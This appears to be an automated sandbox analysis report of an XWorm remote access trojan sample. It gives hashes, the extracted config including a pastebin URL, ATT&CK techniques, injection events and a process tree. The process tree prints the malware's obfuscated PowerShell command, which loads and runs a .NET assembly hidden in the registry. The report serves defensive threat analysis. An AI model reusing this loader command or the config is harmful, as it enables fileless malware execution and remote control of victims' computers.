xworm | fe2ab997f171c9095fd8bfa2f0355d12d336e4b98e3305836ae565d1a4667fb0

Analysis

max time kernel
150s
max time network
17s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
31/10/2024, 09:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

GBFJ2_DeadPayload.exe
Size

500KB
MD5

36656751a6f5235ee7733f649f2333f1
SHA1

ce686bf0173d8fbc77bda352ec44021d1bc48630
SHA256

fe2ab997f171c9095fd8bfa2f0355d12d336e4b98e3305836ae565d1a4667fb0
SHA512

fb84cc76183a1a89017c1f33a95c0f8e040a422549f85b29a171373a909e3e8b9cbecfa428eeab42a6c816f77e522f168f2428622b2a35bc2e1324cd9e535b88
SSDEEP

12288:U3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sdzO:OkGTy

Score

10^/10

xworm discovery evasion execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

QgVg78qW15uIsQ4H

Attributes

Install_directory
%Public%
install_file
ohh.exe
pastebin_url
https://pastebin.com/raw/J09JweeH

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000016c03-6.dat	family_xworm
behavioral1/memory/2916-8-0x0000000000DF0000-0x0000000000DFE000-memory.dmp	family_xworm

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2800 created 432	2800	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Executes dropped EXE 2 IoCs

pid	Process
2916	DeadMan.exe
2928	DeadRoot.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2800	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2800 set thread context of 2792	2800	powershell.EXE	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadRoot.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b035d582732bdb01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2800	powershell.EXE
2800	powershell.EXE
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2916	DeadMan.exe
Token: SeDebugPrivilege	2800	powershell.EXE
Token: SeDebugPrivilege	2800	powershell.EXE
Token: SeDebugPrivilege	2792	dllhost.exe
Token: SeAuditPrivilege	836	svchost.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 2916	2360	GBFJ2_DeadPayload.exe	32
PID 2360 wrote to memory of 2916	2360	GBFJ2_DeadPayload.exe	32
PID 2360 wrote to memory of 2916	2360	GBFJ2_DeadPayload.exe	32
PID 2360 wrote to memory of 2928	2360	GBFJ2_DeadPayload.exe	33
PID 2360 wrote to memory of 2928	2360	GBFJ2_DeadPayload.exe	33
PID 2360 wrote to memory of 2928	2360	GBFJ2_DeadPayload.exe	33
PID 2360 wrote to memory of 2928	2360	GBFJ2_DeadPayload.exe	33
PID 2680 wrote to memory of 2800	2680	taskeng.exe	35
PID 2680 wrote to memory of 2800	2680	taskeng.exe	35
PID 2680 wrote to memory of 2800	2680	taskeng.exe	35
PID 2800 wrote to memory of 2792	2800	powershell.EXE	37
PID 2800 wrote to memory of 2792	2800	powershell.EXE	37
PID 2800 wrote to memory of 2792	2800	powershell.EXE	37
PID 2800 wrote to memory of 2792	2800	powershell.EXE	37
PID 2800 wrote to memory of 2792	2800	powershell.EXE	37
PID 2800 wrote to memory of 2792	2800	powershell.EXE	37
PID 2800 wrote to memory of 2792	2800	powershell.EXE	37
PID 2800 wrote to memory of 2792	2800	powershell.EXE	37
PID 2800 wrote to memory of 2792	2800	powershell.EXE	37
PID 2792 wrote to memory of 432	2792	dllhost.exe	5
PID 2792 wrote to memory of 476	2792	dllhost.exe	6
PID 2792 wrote to memory of 492	2792	dllhost.exe	7
PID 2792 wrote to memory of 500	2792	dllhost.exe	8
PID 2792 wrote to memory of 596	2792	dllhost.exe	9
PID 2792 wrote to memory of 672	2792	dllhost.exe	10
PID 2792 wrote to memory of 760	2792	dllhost.exe	11
PID 2792 wrote to memory of 808	2792	dllhost.exe	12
PID 2792 wrote to memory of 836	2792	dllhost.exe	13
PID 2792 wrote to memory of 972	2792	dllhost.exe	15
PID 2792 wrote to memory of 268	2792	dllhost.exe	16
PID 2792 wrote to memory of 108	2792	dllhost.exe	17
PID 2792 wrote to memory of 688	2792	dllhost.exe	18
PID 2792 wrote to memory of 1108	2792	dllhost.exe	19
PID 2792 wrote to memory of 1172	2792	dllhost.exe	20
PID 2792 wrote to memory of 1228	2792	dllhost.exe	21
PID 2792 wrote to memory of 1080	2792	dllhost.exe	23
PID 2792 wrote to memory of 624	2792	dllhost.exe	24
PID 2792 wrote to memory of 1616	2792	dllhost.exe	25
PID 2792 wrote to memory of 1844	2792	dllhost.exe	26
PID 2792 wrote to memory of 2744	2792	dllhost.exe	27
PID 2792 wrote to memory of 2680	2792	dllhost.exe	34

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{887a5d70-df16-47be-8a22-0993d9eb9c1f}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2792

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:596
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1080
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1616
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:672
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:760
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:808
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1172
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:836
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {F6F04963-8848-4DF3-ABE3-441A8967E354} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+'A'+'R'+[Char](69)+'').GetValue(''+[Char](68)+'e'+[Char](97)+''+[Char](100)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2800
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:972
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:268
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:108
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:688
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1108
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:624
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1844
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2744

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1228
- C:\Users\Admin\AppData\Local\Temp\GBFJ2_DeadPayload.exe
  "C:\Users\Admin\AppData\Local\Temp\GBFJ2_DeadPayload.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Users\Public\DeadMan.exe
    "C:\Users\Public\DeadMan.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2916
- - C:\Users\Public\DeadRoot.exe
    "C:\Users\Public\DeadRoot.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\DeadMan.exe

Filesize
34KB

MD5
86596f8f255ec89d279b0824435e99ad

SHA1
828d881cd4e693004ef8285aec99ef741b7f12ea

SHA256
be04723ba31eb34aafe705d2ae69a8b76cd717f3d378c49eee960a86112b7a58

SHA512
ed8429cf751326a5b646e35c59c61b2b3a0fdd7179f6a9a33e0bc70526dd96a72e02c2456d480cb26a8c0cd5f641842a73073bd2dc246d038d3642cec14f4672

Download Submit
C:\Users\Public\DeadRoot.exe

Filesize
151KB

MD5
b8479a23c22cf6fc456e197939284069

SHA1
b2d98cc291f16192a46f363d007e012d45c63300

SHA256
18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

SHA512
786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

Download Submit
memory/432-42-0x0000000037C40000-0x0000000037C50000-memory.dmp

Filesize
64KB

Download
memory/432-41-0x000007FEBFE60000-0x000007FEBFE70000-memory.dmp

Filesize
64KB

Download
memory/432-40-0x0000000000220000-0x0000000000247000-memory.dmp

Filesize
156KB

Download
memory/432-33-0x0000000000220000-0x0000000000247000-memory.dmp

Filesize
156KB

Download
memory/432-34-0x0000000000220000-0x0000000000247000-memory.dmp

Filesize
156KB

Download
memory/432-30-0x00000000001F0000-0x0000000000212000-memory.dmp

Filesize
136KB

Download
memory/432-32-0x00000000001F0000-0x0000000000212000-memory.dmp

Filesize
136KB

Download
memory/476-48-0x0000000000240000-0x0000000000267000-memory.dmp

Filesize
156KB

Download
memory/476-54-0x0000000000240000-0x0000000000267000-memory.dmp

Filesize
156KB

Download
memory/476-55-0x000007FEBFE60000-0x000007FEBFE70000-memory.dmp

Filesize
64KB

Download
memory/476-56-0x0000000037C40000-0x0000000037C50000-memory.dmp

Filesize
64KB

Download
memory/492-68-0x0000000000A10000-0x0000000000A37000-memory.dmp

Filesize
156KB

Download
memory/492-69-0x000007FEBFE60000-0x000007FEBFE70000-memory.dmp

Filesize
64KB

Download
memory/492-62-0x0000000000A10000-0x0000000000A37000-memory.dmp

Filesize
156KB

Download
memory/492-70-0x0000000037C40000-0x0000000037C50000-memory.dmp

Filesize
64KB

Download
memory/500-76-0x00000000002D0000-0x00000000002F7000-memory.dmp

Filesize
156KB

Download
memory/2360-0-0x000007FEF5D03000-0x000007FEF5D04000-memory.dmp

Filesize
4KB

Download
memory/2360-1-0x00000000012A0000-0x0000000001324000-memory.dmp

Filesize
528KB

Download
memory/2792-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2792-26-0x0000000077AE0000-0x0000000077BFF000-memory.dmp

Filesize
1.1MB

Download
memory/2792-27-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2792-22-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2792-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2792-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2792-25-0x0000000077C00000-0x0000000077DA9000-memory.dmp

Filesize
1.7MB

Download
memory/2792-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2800-16-0x00000000016B0000-0x00000000016D8000-memory.dmp

Filesize
160KB

Download
memory/2800-15-0x0000000000980000-0x0000000000988000-memory.dmp

Filesize
32KB

Download
memory/2800-14-0x0000000019FC0000-0x000000001A2A2000-memory.dmp

Filesize
2.9MB

Download
memory/2800-18-0x0000000077AE0000-0x0000000077BFF000-memory.dmp

Filesize
1.1MB

Download
memory/2800-17-0x0000000077C00000-0x0000000077DA9000-memory.dmp

Filesize
1.7MB

Download
memory/2916-9-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

Filesize
9.9MB

Download
memory/2916-8-0x0000000000DF0000-0x0000000000DFE000-memory.dmp

Filesize
56KB

Download
memory/2916-162-0x000007FEF5D00000-0x000007FEF66EC000-memory.dmp

Filesize
9.9MB

Download